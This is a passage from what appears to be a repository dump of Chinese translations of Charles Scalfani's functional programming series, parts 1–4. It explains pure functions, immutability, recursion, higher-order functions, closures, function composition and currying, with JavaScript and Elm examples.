忘了知道的一切\n\n![](https://cdn-images-1.medium.com/max/1600/1*PoIg8NuGaH3XQkQ8Ctz6hw.png)\n\n（说到函数式编程时，）人们喜欢说这句话，其实也有几分道理。**学习函数式编程就像从零学起。** 虽然不准确，但是不无道理。虽然函数式编程有许多类似的概念，但是最好还是让自己把**所有东西都重新学一遍**。\n\n有了正确的思考方法就会有正确的预期，而预期对了就不会在遇到困难时轻言放弃。\n\n许多在之前编程时习惯了的东西在函数式编程中都用不了了。\n\n这就比如在开车时你已经习惯了倒车出库，但是开飞船的时候发现没有倒挡。这时候你会想了，「什么？没有倒挡？！没法儿倒车了我到底该怎么开？！」\n\n好吧，其实开飞船的时候不需要倒挡，因为它是在三维空间中移动的。一旦了解了这一点，你就再也不会想什么倒挡了。事实上，总有一天你会回想起以前开车时的限制可真多啊。\n\n> 学习函数式编程没那么快。所以别着急。\n\n那么我们就离开寒冷的指令式编程世界，沉浸在函数式编程的温泉中吧。\n\n这篇文章分为好几节，之后还介绍了一些函数式编程的概念，你可以在深入研究第一门函数式编程语言之前看看，会有帮助的。如果你已经开始着手学习了，它们也会帮助你加深理解。\n\n务必不要心急。从这里开始慢慢地读，慢慢地理解示例代码。你甚至会想在读完每一节之后停顿一会儿，让自己充分领会，然后接着读下去。\n\n最重要的是**理解**。\n\n#### 纯粹\n\n![](https://cdn-images-1.medium.com/max/1600/1*lHMDe_A2Cs_4InZ-E9Da9A.png)\n\n函数式编程语言中的纯粹指的就是纯函数。\n\n纯函数就是极简单的函数，只对输入参数起作用。\n\n下面是 Javascript 中纯函数的例子：\n\n    var z = 10;\n    function add(x, y) {\n        return x + y;\n    }\n\n注意，**add** 函数没有碰 **z** 变量。它即不读 **z** 也不写 **z**。它只是读了 **x** 和 **y** 参数，然后返回了两者的和。\n\n这就是纯函数。如果 **add** 动了 **z** 变量，它就不再纯粹了。\n\n下面是另一个例子：\n\n    function justTen() {\n        return 10;\n    }\n\n如果 **justTen** 是纯函数，它就**只能**返回一个常量。为什么呢？\n\n因为我们还没有给它任何输入参数。如果是纯函数，它就不能存取自身的输入参数之外的任何东西，所以它只能返回一个常量。\n\n既然无参数的纯函数什么都做不了，没什么用，还不如直接把 **justTen** 定义为一个常量。\n\n> 大多数 **有用的** 纯函数至少要有一个参数。\n\n思考一下这个函数：\n\n    function addNoReturn(x, y) {\n        var z = x + y\n    }\n\n注意，这个函数什么都没有返回。它把 **x** **y** 之和赋给了变量 z，但并没有返回 z。\n\n这也是个纯函数，它只是处理了自身的参数。虽然有加法，但是没返回结果，所以也没用。\n\n> **有用的**纯函数总要返回一些东西。\n\n我们再回过头看看第一个 **add** 函数：\n\n    function add(x, y) {\n        return x + y;\n    }\n    console.log(add(1, 2)); // prints 3\n    console.log(add(1, 2)); // still prints 3\n    console.log(add(1, 2)); // WILL ALWAYS print 3\n\n**add(1, 2)** 总是返回 **3**。结果不出所料，这毕竟是个纯函数。如果 **add** 函数用了其他外部值，就**没法**预测它的行为了。\n\n> 纯函数对相同的输入总能产生相同的输出。\n\n因为纯函数不能修改任何外部变量，下面这些函数都是**不纯粹的**。\n\n    writeFile(fileName);\n    updateDatabaseTable(sqlCmd);\n    sendAjaxRequest(ajaxRequest);\n    openSocket(ipAddress);\n\n这些函数都有副作用。调用它们会修改文件和数据库的表，向服务器发送数据或者调用系统获取 socket。它们不仅处理输入参数并返回值，还做了其他事情。所以永远**无法**预测这些函数会返回什么。\n\n> 纯函数**没有**副作用。\n\n诸如 JavaScript, Java 和 C# 之类的指令式编程语言充斥着副作用。所以调试起来比较困难，毕竟变量有可能在**任何地方**遭到修改。如果遇到了因为变量被错误修改而导致的 bug，要从何看起呢？这一点都不好。\n\n读到这里，你可能在想，「到底怎样才能用纯函数做任何事情呢？！」\n\n函数式编程并不是只写纯函数。\n\n函数式编程语言并不能彻底去除副作用，只能限制它们。因为函数总是要和现实世界打交道的，每个程序总有不纯粹的函数。而目标就是减少不纯粹代码的数量，并将它们和纯粹的代码隔离开来。\n\n#### 不可变性\n\n![](https://cdn-images-1.medium.com/max/1600/1*wKAhKZPXmcSwnq2AcLN-9Q.jpeg)\n\n还记得是在啥时候第一次看到下面这些代码吗？\n\n    var x = 1;\n    x = x + 1;\n\n还记得是谁叫你忘了在数学课上学到的东西吗？数学中的 **x** 永远不会等于 **x + 1**。\n\n但是在指令式编程中，这段代码表示将 **x** 的当前值加 1 再**赋值回** **x**。\n\n但是在函数式编程中 **x = x + 1** 是错误的。所以你得**记得**在数学课上**忘掉**了的东西…… 大致如此。\n\n> 函数式编程中**没有**变量。\n\n存储的值还是叫做变量，不过这是历史原因，它们其实是常量。比如一旦 **x** 有了一个值，这个变量就一直是这个值。\n\n不要担心，**x** 通常是个局部变量，生命周期很短。但是只要它还在，值就不会变。\n\n下面是个 Elm 中常变量的例子（Elm 是用于 Web 开发的纯函数编程语言）：\n\n    addOneToSum y z =\n        let\n            x = 1\n        in\n            x + y + z\n\n如果不熟悉 ML 风格的语法，我在这里解释一下。 **addOneToSum** 是个有两个参数（**y** 和 **z**）的函数。 \n\n在 **let** 块中，**x** 绑定到的值是 **1**，所以它之后永远等于 **1**。函数退出，更准确地说是 **let** 块求值完之时，x 的生命周期才结束。\n\n在 **in** 块中，计算过程中可以使用 **let** 块定义的值，即 **x**。**x + y + z** 的计算结果，更准确地说是 **1 + y + z** 的计算结果会被返回，因为 **x = 1**。\n\n好吧，我听到你又问了一遍「到底怎样才能用纯函数做任何事情呢？！」\n\n让我们想想何时需要修改变量。通常有两种情况：修改多个值（比如修改对象或 Record 中的值）和修改单一值（比如循环的计数器）。\n\n函数式编程通过创建修改了值的 Record 副本来实现对 Record 中的值的修改。不过利用数据结构可以不必复制 Record 中的全部属性，十分高效。\n\n函数式编程修改单一值也是通过创建副本实现的。\n\n哦，对了。这样也**没有**用到循环。\n\n「为什么没有变量和循环？！我讨厌你！！！」\n\n等一下。这并不是说我们不能使用循环（我没有玩游戏文字），只是函数式编程语言没有像 **for**，**while**，**do** 以及 **repeat** 这样明确的循环结构而已。\n\n> 函数式编程的循环用递归实现。\n\n下面的代码展示了 Javascript 创建循环的两种方式：\n\n    // simple loop construct\n    var acc = 0;\n    for (var i = 1; i <= 10; ++i)\n        acc += i;\n    console.log(acc); // prints 55\n\n    // without loop construct or variables (recursion)\n    function sumRange(start, end, acc) {\n        if (start > end)\n            return acc;\n        return sumRange(start + 1, end, acc + start)\n    }\n    console.log(sumRange(1, 10, 0)); // prints 55\n\n看看函数式编程中的递归是如何实现 **for** 循环的：就是用新起始值(**start + 1**)和新累积值(**acc + start**)不断地调用自身。它没有修改旧值，而是使用由旧值计算出来的新值。\n\n不幸的是，即使学过一段时间 JavaScript 你也很难用到这种写法，原因有二。第一，JavaScript 语法很繁琐，第二是你可能不习惯递归式思考。\n\n而 Elm 的写法更易读，也更易懂：\n\n    sumRange start end acc =\n        if start > end then\n            acc\n        else\n            sumRange (start + 1) end (acc + start)\n\n执行过程如下：\n\n    sumRange 1 10 0 =      -- sumRange (1 + 1)  10 (0 + 1)\n    sumRange 2 10 1 =      -- sumRange (2 + 1)  10 (1 + 2)\n    sumRange 3 10 3 =      -- sumRange (3 + 1)  10 (3 + 3)\n    sumRange 4 10 6 =      -- sumRange (4 + 1)  10 (6 + 4)\n    sumRange 5 10 10 =     -- sumRange (5 + 1)  10 (10 + 5)\n    sumRange 6 10 15 =     -- sumRange (6 + 1)  10 (15 + 6)\n    sumRange 7 10 21 =     -- sumRange (7 + 1)  10 (21 + 7)\n    sumRange 8 10 28 =     -- sumRange (8 + 1)  10 (28 + 8)\n    sumRange 9 10 36 =     -- sumRange (9 + 1)  10 (36 + 9)\n    sumRange 10 10 45 =    -- sumRange (10 + 1) 10 (45 + 10)\n    sumRange 11 10 55 =    -- 11 > 10 => 55\n    55\n\n你可能认为 **for** 循环更好理解。这是有争议的，而且更多是因为我们更**熟悉** for 循环。这种非递归实现的循环需要可变变量，更糟糕。\n\n我在这里没有讲完不可变性的全部好处，更多内容请参阅[为什么程序员需要限制]((https://medium.com/@cscalfani/why-programmers-need-limits-3d96e1a0a6db))一文中的**全局可变状态**一节。\n\n不过一个显而易见的好处就是，如果对程序中的变量有访问权限，也只是只读权限，这也就是说，再也没人能改变这个值，哪怕是你自己。所以省去了很多意想不到的麻烦。\n\n而且，如果是多线程程序，其他线程就无法干扰到当前线程。如果当前线程有一个常量而且其它线程试图改变它，其他线程只能用旧值复制一个新值出来。\n\n在 90 世纪中期时，我写了[生化危机](https://www.youtube.com/watch?v=uIOYSjBRORM)游戏引擎，最大的 bug 源头就是各种多线程问题。我真希望自己那时候就知道不可变性。不过我那时候更应该担心 2 倍速和 4 倍速 CD-ROM 驱动在游戏渲染上的差异。\n\n> 不可变性使代码更简单，安全。\n\n#### 我的脑子！！！！\n\n![](https://cdn-images-1.medium.com/max/1600/1*IK5485-iZaHeZRfP8aWmYg.png)\n\n本部分到此结束。\n\n在下一部分中我会继续介绍高阶函数，复合函数和柯里化等内容。\n\n下一篇：[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-2.md)\n\n"
  },
  {
    "path": "TODO/so-you-want-to-be-a-functional-programmer-part-2.md",
    "content": "> * 原文地址：[So You Want to be a Functional Programmer (Part 2)](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-2-7005682cec4a#.lvg65qyn8)\n* 原文作者：[Charles Scalfani](https://medium.com/@cscalfani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Airmacho](https://github.com/Airmacho)\n* 校对者：[cyseria](https://github.com/cyseria) 和 [Tina92](https://github.com/Tina92)\n\n# 准备充分了嘛就想学函数式编程？(Part 2)\n\n想要理解函数式编程，第一步总是最重要，也是最困难的。但是只要有了正确的思维，其实也不是太难。\n\n之前的部分: [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-1.md)\n\n#### 友情提示\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*RYgiClt6s_Xj9OUK9qapIw.png)\n\n\n\n请读仔细读代码，确保继续之前你已经理解。每一代码段落都基于它之前的代码。\n\n如果你太急，可能会遗漏一些重要的细节。\n\n#### 重构\n\n![](https://cdn-images-1.medium.com/max/1600/1*_GBlt7_8aD19rxHh6f2Uow.png)\n\n让我们先来重构一段 JavaScript 代码：\n\n    function validateSsn(ssn) {\n        if (/^\\d{3}-\\d{2}-\\d{4}$/.exec(ssn))\n            console.log('Valid SSN');\n        else\n            console.log('Invalid SSN');\n    }\n    \n    function validatePhone(phone) {\n        if (/^\\(\\d{3}\\)\\d{3}-\\d{4}$/.exec(phone))\n            console.log('Valid Phone Number');\n        else\n            console.log('Invalid Phone Number');\n    }\n\n我们以前都写过这样的代码，经过一段时间我们会发现，上面两个函数实际上除了些许区别，其实是一样的（黑体高亮）。\n\n我们应该创建一个单独的函数，将上面的区别参数化，而不是通过复制，粘贴，修改 validateSsn 函数，来创建 validatePhone。\n\n此例中，我们可以将要验证的参数，验证用的正则表达式，打印的文本抽象成参数传入方法。\n\n重构后的代码：\n\n    function validateValue(value, regex, type) {\n        if (regex.exec(value))\n            console.log('Invalid ' + type);\n        else\n            console.log('Valid ' + type);\n    }\n\n旧代码中要验证的参数 ssn，phone，现在都用参数 value 来体现。\n\n正则表达式  /^\\d{3}-\\d{2}-\\d{4}$/ 和 /^\\(\\d{3}\\)\\d{3}-\\d{4}$/ 用变量 regex 体现。\n\n最后，需要打印的文本 'SSN' 和 'Phone Number' 用变量 type 拼接。\n\n只有一个函数要比两个函数，或者更糟糕的情况三个，四个甚至十个函数好得多。这可以使你的代码保持整洁并且易维护。\n\n例如，如果代码中有 bug，你只需要修改一处，而不用在整个代码库查找每一处粘贴或修改过这段代码的地方。\n\n但当你遇到这样的情况：\n\n    function validateAddress(address) {\n        if (parseAddress(address))\n            console.log('Valid Address');\n        else\n            console.log('Invalid Address');\n    }\n    \n    function validateName(name) {\n        if (parseFullName(name))\n            console.log('Valid Name');\n        else\n            console.log('Invalid Name');\n    }\n\n这里 parseAddress 和 parseFullName 函数都只接受一个字符串参数，并在符合解析条件时返回 true 。\n\n我们怎样重构这段代码？\n\n我们可以用 value 来代替 address 和 name, 用 type 来替换 'Address' 和 'Name'，就像我们之前那样，但之前是将正则表达式作为参数传入，现在是函数。\n\n如果我们能把一个函数当作参数传入就好了。。。\n\n#### 高阶函数\n\n![](https://cdn-images-1.medium.com/max/1600/1*hZyWFJAiDDiqci0ygBLeoA.png)\n\n\n\n很多语言并不支持将函数作为参数传入。一些语言虽然支持，但用起来不直观。\n\n> 在函数式编程中，函数是语言的第一公民。换句话说，函数就是另一种值。\n>\n\n因为函数是值，我们可以把它们当作参数传入函数。\n\n尽管 JavaSscript 不是一门纯函数式语言，你也可以用它做一些函数式操作。我们可以将之前的两个函数重构成一个叫 parseFunc 的函数，将解析函数作为参数传入：\n\n    function validateValueWithFunc(value, parseFunc, type) {\n        if (parseFunc(value))\n            console.log('Invalid ' + type);\n        else\n            console.log('Valid ' + type);\n    }\n\n我们的新函数就是高阶函数。\n\n> 高阶函数既可以接受函数作为参数传入，也可以把函数作为返回值返回，或者同时满足两个条件。\n>\n\n现在我们可以将前面的四个函数抽象成一个高阶函数（在 JavaScript 里可以这样做，因为如果正则匹配成功，Regex.exec 返回真值）：\n\n    validateValueWithFunc('123-45-6789', /^\\d{3}-\\d{2}-\\d{4}$/.exec, 'SSN');\n    validateValueWithFunc('(123)456-7890', /^\\(\\d{3}\\)\\d{3}-\\d{4}$/.exec, 'Phone');\n    validateValueWithFunc('123 Main St.', parseAddress, 'Address');\n    validateValueWithFunc('Joe Mama', parseName, 'Name');\n\n这比之前使用四个近乎相同的函数好很多。\n\n但要注意正则表达式。他们还有些冗长。现在我们重构代码来整理一下：\n\n    var parseSsn = /^\\d{3}-\\d{2}-\\d{4}$/.exec;\n    var parsePhone = /^\\(\\d{3}\\)\\d{3}-\\d{4}$/.exec;\n    \n    validateValueWithFunc('123-45-6789', parseSsn, 'SSN');\n    validateValueWithFunc('(123)456-7890', parsePhone, 'Phone');\n    validateValueWithFunc('123 Main St.', parseAddress, 'Address');\n    validateValueWithFunc('Joe Mama', parseName, 'Name');\n\n好多了，现在如果我们想要检查一个值是否是电话号码，就不用复制，粘贴正则表达式了。\n\n但是设想我们除了 parseSsn 和 parsePhone 还有更多的正则表达式需要匹配。每次我们新建函数都要用一个正则表达式，再调用 .exec。相信我，这很容易遗漏。\n\n我们可以创建另一个高阶函数，在内部调用 exec 来解决这个问题：\n\n    function makeRegexParser(regex) {\n        return regex.exec;\n    }\n    \n    var parseSsn = makeRegexParser(/^\\d{3}-\\d{2}-\\d{4}$/);\n    var parsePhone = makeRegexParser(/^\\(\\d{3}\\)\\d{3}-\\d{4}$/);\n    \n    validateValueWithFunc('123-45-6789', parseSsn, 'SSN');\n    validateValueWithFunc('(123)456-7890', parsePhone, 'Phone');\n    validateValueWithFunc('123 Main St.', parseAddress, 'Address');\n    validateValueWithFunc('Joe Mama', parseName, 'Name');\n\n这里，makeRegexParser 接受一个正则表达式作为参数，返回一个 exec 函数，这个函数接受被验证字符串作为参数。validateValueWithFunc 可以传入字符串，值，给 parse 函数，例如 exec 。\n\nparseSsn 和 parsePhone 和之前用正则表达式的 exec 函数一样可用。\n\n的确，这只是一个微小的提升，但这里向我们展示了高阶函数将函数作为返回值返回的例子。\n\n不过你可以想象如果 makeRegexParser 更复杂，这样改动可以给我们带来的好处。\n\n这是另一个高阶函数返回函数作为返回值的例子：\n\n    function makeAdder(constantValue) {\n        return function adder(value) {\n            return constantValue + value;\n        };\n    }\n\n这里 makeAddr 函数接受一个参数 constantValue，返回一个函数 addr，它的返回是 contantValue 与它接受的任意值相加的结果。\n\n它的用法是：\n\n    var add10 = makeAdder(10);\n    console.log(add10(20)); // prints 30\n    console.log(add10(30)); // prints 40\n    console.log(add10(40)); // prints 50\n\n我们通过将 10 作为参数传给 makeAddr，创建了 add10 函数，它接受任意值作为参数，并与 10 求和返回。\n\n需要注意的是，即使在 makeAddr 返回后，函数 addr 仍可以获取到 constantValue 参数的值。这是因为 constantValue 在 addr 函数被创建时的作用域中。\n\n这种行为非常重要，因为如果不是这样，将函数作为返回值返回的函数就没有多大用处了。所以我们理解它的工作原理非常重要。\n\n这种行为叫做闭包。\n\n#### 闭包\n\n![](https://cdn-images-1.medium.com/max/1600/1*0phT7qIAPVxG7KXcL-6B5g.png)\n\n\n\n这有一个故意使用闭包的函数：\n\n    function grandParent(g1, g2) {\n        var g3 = 3;\n        return function parent(p1, p2) {\n            var p3 = 33;\n            return function child(c1, c2) {\n                var c3 = 333;\n                return g1 + g2 + g3 + p1 + p2 + p3 + c1 + c2 + c3;\n            };\n        };\n    }\n\n在这个例子中，child 函数可以获取到定义在它自己，parent 函数和 grandParent 函数作用域中定义的变量值。\n\nparent 函数可以获取到它自己和 grandParent 函数作用域中定义的变量值。\n\ngrandParent 只能获取到它自己的变量（为了清晰理解可以参考上面的金字塔结构图）。\n\n这有一个例子：\n\n    var parentFunc = grandParent(1, 2); // returns parent()\n    var childFunc = parentFunc(11, 22); // returns child()\n    console.log(childFunc(111, 222)); // prints 738\n    // 1 + 2 + 3 + 11 + 22 + 33 + 111 + 222 + 333 == 738\n\n这里，parentFunc 可以保持 parent 函数的作用域，因为 grandParent 将 parent 作为返回值返回。\n\n类似的，childFunc 可以保持 child 函数的作用域，因为 parentFunc 其实是返回 child 函数的 parent 函数。\n\n当创建一个函数时，创建时所处的作用域的所有变量都是可以读取的。如果函数仍被引用，作用域保持存活状态。例如 child 函数的作用域只要 childFunc 的引用存在，就算存活。\n\n> 闭包指函数通过被引用，保持其作用域的存活状态。\n>\n\n注意在 JavaScript 中，因为变量是可变的，所以闭包可能会引入问题。例如这些变量可能从它们被闭包开始到函数返回的周期里被修改。\n\n值得庆幸的是，函数式语言中的变量是不可变的，所以就可以消除这种常见的错误和混乱。\n\n#### 我的脑子！\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*IK5485-iZaHeZRfP8aWmYg.png)\n\n\n\n\n\n到目前暂时足够消化一段了。\n\n在文章接下来的部分里，我会涉及到 函数组合，柯里化，函数式编程中常见的函数（如 map，filter，fold 等）\n\n接下来：【[第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-3.md)】\n\n"
  },
  {
    "path": "TODO/so-you-want-to-be-a-functional-programmer-part-3.md",
    "content": "> * 原文地址：[So You Want to be a Functional Programmer (Part 3)](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-3-1b0fd14eb1a7#.7e7fhqghb)\n* 原文作者：[Charles Scalfani](https://medium.com/@cscalfani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Airmacho](https://github.com/Airmacho)\n* 校对者：[cyseria](https://github.com/cyseria) 和 [xuxiaokang](https://github.com/xuxiaokang)\n\n# 准备充分了嘛就想学函数式编程？(Part 3)\n\n想要理解函数式编程，第一步总是最重要，也是最困难的。但是只要有了正确的思维，其实也不是太难。\n之前部分内容：[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-1.md)，[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-2.md)\n\n#### 函数组合\n\n![](https://cdn-images-1.medium.com/max/1600/1*yGnDGRW4pTgmcDUi4oC8Uw.png)\n\n\n\n作为程序员，懒惰是我们的美德。我们不想不断重复地构建，测试，部署写过的代码。\n\n我们希望有办法可以一处写完，各处复用。\n\n代码复用听起来很棒，实现起来很困难。如果代码写的非常明确，就不能复用。太泛化的话，最开始用都困难。\n\n所以我们需要权衡，有种方案是写简短可复用的代码，我们可以将它们当作零件用来组合成更复杂的代码。\n\n在函数式编程中，函数就是我们的零件。我们可以用它们来完成指定的任务，再像乐高积木一样拼凑在一起。\n\n这被称作**函数组合**。\n\n该怎么实现呢，让我们从两个 JavaScript 函数开始：\n\n    var add10 = function(value) {\n        return value + 10;\n    };\n    var mult5 = function(value) {\n        return value * 5;\n    };\n\n这个写法太冗长，所以我们用 [**箭头函数**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)表达式重写成：\n\n    var add10 = value => value + 10;\n    var mult5 = value => value * 5;\n\n好多了，现在设想我们再需要一个函数，它可以接受一个值作为参数，将值加 10，再乘以 5，把结果返回。我们可以写成：\n\n    var mult5AfterAdd10 = value => 5 * (value + 10)\n尽管这只是一个很简单的需求，我们仍不想重新写一个新的函数。首先，我们可能会因为忘记括号而出错。\n\n其次，我们已经有一个函数可以将值加上 10，另一个函数将值可以乘以 5。我们这是在重复之前的工作。\n\n因此，我们用 **add10** 和 **mult5** 来构建我们的新函数：\n\n    var mult5AfterAdd10 = value => mult5(add10(value));\n我们可以用现有的函数来创建 **mult5AfterAdd10** 函数，但其实有更好的办法。\n\n在数学中， **_f ∘ g_** 是函数的组合，所以读作 **“函数 f 与函数 g 的复合函数”**，或者更通用的说法是 **“在 g 之后调用 f”**。所以 **_(f ∘ g)(x)_** 相当于先以 **x** 为自变量调用函数 **g**，再以结果为自变量调用函数 **f**，简写成  **_f(g(x))_**。\n\n对于我们的例子，我们可以用  **_mult5 ∘ add10_** 或者  **_“mult5 after add10”_** 来表示，所以我们的函数名叫 **_mult5(add10(value))_** 。\n\n    add10 value =\n        value + 10\n    \n    mult5 value =\n        value * 5\n    \n    mult5AfterAdd10 value =\n        (mult5 << add10) value\n\n在 Elm 中，你可以用插入运算符 **<<** 来组合函数。这在带给我们一种数据是怎样流动的视觉效果。首先，**value** 传入 **add10** 中，再将结果作为参数传入 **mult5** 中。\n\n注意 **mult5AfterAdd10** 中的括号，比如  **_(mult5 << add10)_**。这里是说明函数是先组合，再传入参数 **value** 的。\n\n你可以用这种方式随意组合函数：\n\n    f x =\n       (g << h << s << r << t) x\n\n这里 **x** 传入函数 **t** ，将运算结果传给函数 **r**，然后再将结果传给函数 **s**，这样一直进行下去。如果你要在 JavaScript 里实现类似的功能，看起来会是这样  **_g(h(s(r(t(x)))))_**，括号的恶梦。\n\n#### Point-Free 表示法\n\n![](https://cdn-images-1.medium.com/max/1600/1*g2pWcQJ0jOUf1WKbTDIktQ.png)\n\n\n\n有一种可以不需要指定参数的函数写法，叫做 **Point-Free 表示法**。开始时，这种风格看起来有些奇怪，随着使用继续，你会开始欣赏它带来的简洁性。\n\n你可以注意到，在 **mult5AfterAdd10** 里我们有两处用到 **value** 变量。一处是在参数列表中，一处是内部使用时。\n\n    -- This is a function that expects 1 parameter\n\n    mult5AfterAdd10 value =\n        (mult5 << add10) value\n\n其实这个参数并不是必须的，因为 **add10**，组合中最外侧的函数，和函数组合接受的参数相同。与下面的 point-free 版本是等价的：\n\n    -- This is also a function that expects 1 parameter\n\n    mult5AfterAdd10 =\n        (mult5 << add10)\n\n用这种 point-free 风格表示法有很多好处。\n\n首先，我们不需要指定多余的参数。因为我们不要明确指定它们，我们可以不用去费心给它们起名字。\n\n其次，因为更简洁，阅读和理解起来也更容易。这个例子非常简单，但是想象一下如果函数有很多参数的情况。\n\n#### 天堂里的烦恼\n\n![](https://cdn-images-1.medium.com/max/1600/1*RE3Qxh6Bg9umzQ5dOrF6pw.png)\n\n\n\n到目前为止，我们已经见过函数组合是怎样工作的，我们如何用 Point-Free 风格的写法来提高代码的简洁性，清晰性和灵活性。\n\n现在让我们尝试在稍微不同的场景中运用这些思想。设想我们用 **add** 替换 **add10**:\n\n    add x y =\n        x + y\n    \n    mult5 value =\n        value * 5\n\n我们如何只用这两个函数来组合 **mult5After10** 呢？\n\n继续读之前请先思考这个问题，想一想，试着做一做。\n\n好，如果你真的花时间想了，也许你会想到这样的方案：\n\n    -- This is wrong !!!!\n\n    mult5AfterAdd10 =\n        (mult5 << add) 10\n\n但是这不行，为什么？因为 **add** 函数需要两个参数。\n\n用 Elm 也许不明显，可以用 JavaScript 写：\n\n    var mult5AfterAdd10 = mult5(add(10)); // this doesn't work\n这段代码是错的，为什么？\n\n因为在这里 **add** 函数只接受了两个参数中的一个，然后**错误结果**再被传入 **mult5** 函数，结果也是错的。\n\n实际上，在 Elm 中，编译器不会让你写出这种残缺的代码（ Elm 的优点之一）\n\n    var mult5AfterAdd10 = y => mult5(add(10, y)); // not point-free\n这样不是 point-free 的，但可用。但是现在不再是函数组合了，我写了一个新的函数。另外，如果函数更复杂，例如，如果我想用 **mult5AfterAdd10** 与其他函数组合，那就会很麻烦。\n\n可见函数组合的可用性有限，因为我们不能将这两个函数结合在一起。太糟了。\n\n我们怎样解决这个问题呢？我们需要做什么？\n\n如果我们可以找到一种方法可以让 **add** 函数先接受一个参数，再在后面调用 **mult5AfterAdd10** 时接受第二个参数就太棒了。\n\n真的有这样一种方法，叫做 **柯里化** 。\n\n\n\n#### 我的脑子！\n\n![](https://cdn-images-1.medium.com/max/1600/1*IK5485-iZaHeZRfP8aWmYg.png)\n\n\n\n到目前暂时足够消化一段了。\n\n在文章接下来的部分里，我会涉及到柯里化，函数式编程中常见的函数（如 map，filter，fold 等），参照透明性等。\n\n接下来 [第四部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-4.md)"
  },
  {
    "path": "TODO/so-you-want-to-be-a-functional-programmer-part-4.md",
    "content": "> * 原文地址：[So You Want to be a Functional Programmer (Part 4)](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-4-18fbe3ea9e49#.1p212lwov)\n> * 原文作者：[Charles Scalfani](https://medium.com/@cscalfani)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[linpu.li](https://github.com/llp0574)\n> * 校对者：[luoyaqifei](https://github.com/luoyaqifei)，[supertong](https://github.com/supertong)\n\n# 准备充分了嘛就想学函数式编程？(第四部分)\n\n想要理解函数式编程，第一步总是最重要，也是最困难的。但是只要有了正确的思维，其实也不是太难。\n\n之前的部分: [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-1.md), [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-2.md), [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/so-you-want-to-be-a-functional-programmer-part-3.md)\n\n#### 柯里化\n\n![](https://cdn-images-1.medium.com/max/1600/1*zihd0We3yAkjAxleLPL2aA.png)\n\n如果你还记得[第三部分](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-3-1b0fd14eb1a7)内容的话，就会知道我们在组合 **_mult5_** 和 **_add_** 这两个函数时遇到问题的原因是：**_mult5_** 接收一个参数而 **_add_** 却接收两个。\n\n其实只需要通过限制所有函数都只接收一个参数，就可以轻易地解决这个问题。\n\n相信我，这并没有听起来那么糟糕。\n\n我们只需要来写一个使用两个参数，但一次只接收一个参数的 add 函数。**柯里**函数允许我们这样做。\n\n> 柯里函数是一种一次只接收单个参数的函数。\n\n这就可以让我们在将 **_add_** 和 **_mult5_** 组合之前只传递第一个参数给 **_add_**。然后当调用（组合后的） **_mult5AfterAdd10_** 函数时，**_add_** 函数就将得到第二个参数。\n\n在 JavaScript 里，可以通过改写 **_add_** 函数来实现这个功能：\n\n    var add = x => y => x + y\n\n这个版本的 **_add_** 函数现在就只接收一个参数，之后再接收另外一个参数。。\n\n详细来讲，这个 **_add_** 函数接收单参数 **_x_**，然后返回一个接收单参数 **_y_** 的函数，而这个函数最终就会返回 **x + y** 的结果。\n\n现在我们就可以使用这个版本的 **_add_** 函数来构建一个 **_mult5AfterAdd10_** 函数的可运行版本：\n\n    var compose = (f, g) => x => f(g(x));\n    var mult5AfterAdd10 = compose(mult5, add(10));\n\n这个组合函数接收两个参数，**_f_** 和 **_g_**，然后它返回一个接收单参数 **_x_** 的函数，这个函数在调用的时候就会将 **_g_** 函数作用于 **_x_**，然后再将 **_f_** 函数作用于上一步的结果。\n\n实际上我们到底做了什么呢？好吧，我们其实是将旧的 **_add_** 函数进行了柯里化。这么做就让 **_add_** 函数变得更加灵活，因为我们可以先把10作为第一个参数传入，而最后的参数则可以在 **_mult5AfterAdd10_** 被调用的时候传入。\n\n看到这里，你可能会想知道在 Elm 里怎么来改写这个 **_add_** 函数。答案是，不需要改写。在 Elm 和其他函数式（编程）语言里，所有的函数都会自动柯里化。\n\n所以这个 **_add_** 函数看起来和之前是一样的：\n\n    add x y =\n        x + y\n\n**_mult5AfterAdd10_** 函数曾经在[第三部分](https://medium.com/@cscalfani/so-you-want-to-be-a-functional-programmer-part-3-1b0fd14eb1a7)怎么写，也还是一样：\n\n    mult5AfterAdd10 =\n        (mult5 << add 10)\n\n语法上讲，Elm 其实打败了像 JavaScript 这样的命令式（编程）语言，因为它在函数式方面是做了优化的，就像柯里化和组合函数。\n\n#### 柯里化和重构\n\n![](https://cdn-images-1.medium.com/max/1600/1*kbFszF2qDVeeN591mpq8Ug.png)\n\n柯里化在重构的时候也能发挥它闪亮的一面，当我们创建一个多参数通用版本的函数时，我们可以通过柯里化的方法用它来创建接收更少参数的特定版本的函数。\n\n举个例子，当我们有下面两个方法，在一个字符串前后分别添加一对大括号和两对大括号。\n\n    bracket str =\n        \"{\" ++ str ++ \"}\"\n\n    doubleBracket str =\n        \"{{\" ++ str ++ \"}}\"\n\n下面是如何使用它们：\n\n    bracketedJoe =\n        bracket \"Joe\"\n\n    doubleBracketedJoe =\n        doubleBracket \"Joe\"\n\n我们可以通用化 **_bracket_** 和 **_doubleBracket_** 函数：\n\n    generalBracket prefix str suffix =\n        prefix ++ str ++ suffix\n\n但现在每当我们使用 